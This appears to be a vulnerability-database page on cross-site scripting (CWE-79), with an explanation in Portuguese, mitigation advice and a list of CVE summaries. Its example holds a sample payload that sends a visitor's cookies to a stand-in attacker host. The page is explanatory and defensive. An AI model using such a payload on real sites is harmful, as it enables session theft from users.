Fallos del tipo CWE-79

29.368 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-1354MEDIUMA cross-site scripting (XSS) vulnerability in the RT-N10E/ RT-N12E 2.0.0.x firmware . This vulnerability caused by improper input validatioEPSS 0.5%CVE-2025-40701MEDIUMReflected Cross-Site scripting (XSS) in SOTE's SOTESHOPEPSS 0.5%CVE-2025-25189MEDIUM[XBOW-025-031] Reflected Cross-Site Scripting via jobid Parameter in ZOO-Project WPS publish.py CGI ScriptEPSS 0.5%CVE-2026-18324HIGHForminator Forms <= 1.57.0.1 - Unauthenticated Stored Cross-Site Scripting via Rich-Text Textarea FieldEPSS 0.5%CVE-2026-42224HIGHipl/web is vulnerable to reflected XSS by malformed search requestsEPSS 0.5%CVE-2024-7677MEDIUMSourceCodester Car Driving School Management System SystemSettings.php update_settings_info cross site scriptingEPSS 0.5%CVE-2024-12180MEDIUMDedeCMS article_add.php cross site scriptingEPSS 0.5%CVE-2022-27561HIGHHCL Traveler is susceptible to a Reflected Cross-Site Scripting vulnerability in the web admin (LotusTraveler.nsf)EPSS 0.5%CVE-2024-12049MEDIUMWoo Ukrposhta <= 1.17.11 - Reflected Cross-Site Scripting via order, post, and idd ParametersEPSS 0.5%CVE-2024-55494MEDIUMA PHP Code Injection vulnerability that can lead to Remote Code Execution (RCE) and XSS in Opencode Mobile Collect Call v5.4.7 allows attackEPSS 0.5%CVE-2025-62380LOWMailgen has HTML Injection and XSS Filter Bypass in Plaintext EmailsEPSS 0.5%CVE-2026-102147CRITICALKiteworks Core Administrative Account Takeover through Stored Cross-site Scripting (XSS)EPSS 0.5%CVE-2023-23372MEDIUMQTS, QuTS heroEPSS 0.5%CVE-2022-38758HIGHXSS vulnerabilities in iManagerEPSS 0.5%CVE-2026-8948CRITICALSame-origin policy bypass in the DOM: Networking componentEPSS 0.5%CVE-2024-7678MEDIUMSourceCodester Car Driving School Management System Master.php cross site scriptingEPSS 0.5%CVE-2023-6807MEDIUMGeneratePress Premium <= 2.3.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Custom MetaEPSS 0.5%CVE-2024-12262MEDIUMEbook Store <= 5.8001 - Reflected Cross-Site Scripting via 'step'EPSS 0.5%CVE-2024-57386MEDIUMCross Site Scripting vulnerability in Wallos v.2.41.0 allows a remote attacker to execute arbitrary code via the profile picture function.EPSS 0.5%CVE-2024-11427MEDIUMCatch Popup <= 1.4.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%